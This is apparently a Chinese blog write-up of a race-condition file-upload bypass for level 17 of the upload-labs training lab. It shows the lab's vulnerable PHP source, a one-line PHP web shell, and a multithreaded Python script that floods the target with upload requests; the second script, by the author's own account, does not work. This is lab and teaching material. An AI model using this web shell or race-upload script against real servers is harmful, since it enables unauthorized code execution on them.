upload-labs
一个帮你总结所有类型的上传漏洞的靶场
文件上传靶机下载地址:https://github.com/c0ny1/upload-labs
第17题,条件竞争删除文件绕过
源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
页面:
$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称
当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹
绕过思路是利用代码执行过程有耗费时间的过程。临时webshell文件保存的极短时间,去访问webshell。获取一些信息
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell。会有一瞬间的访问成功
python脚本:
#!/usr/bin/env python
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST / HTTP/1.1
Host: http://localhost:8088/upload-labs-master/Pass-17/index.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://108.160.142.252:9001/
Content-Type: multipart/form-data; boundary=---------------------------19988116922523
Content-Length: 2196
Cookie: csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------19988116922523
Content-Disposition: form-data; name="upload_file"; filename="damaxiao.php"
Content-Type: application/octet-stream
<?php assert($_POST["a"])?>
-----------------------------19988116922523
Content-Disposition: form-data; name="submit"
ä¸ä¼
-----------------------------19988116922523--
"""
code, head, html, redirect, log = hh.http('http://108.160.142.252:9001/', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(20)
pool.map(upload, range(10000))
pool.close()
pool.join()
我尝试requests模块
import requests
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
import sys
reload(sys)
sys.setdefaultencoding('utf8')
url = 'http://localhost:8088/upload-labs-master/Pass-17/index.php'
def upload():
file = {
'file': open('damaxiao.php','rb')
}
header = {
'Host': '108.160.142.252:9001',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg; aM3_sid=s98M8S',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
# def keepreq():
r = requests.post(url,files=file)
print(str(r.status_code) + "\r")
pool = ThreadPool(20)
pool.map(upload(), range(10000))
pool.close()
pool.join()
不知为啥,不能上传文件。。。
利用流式上传也不行。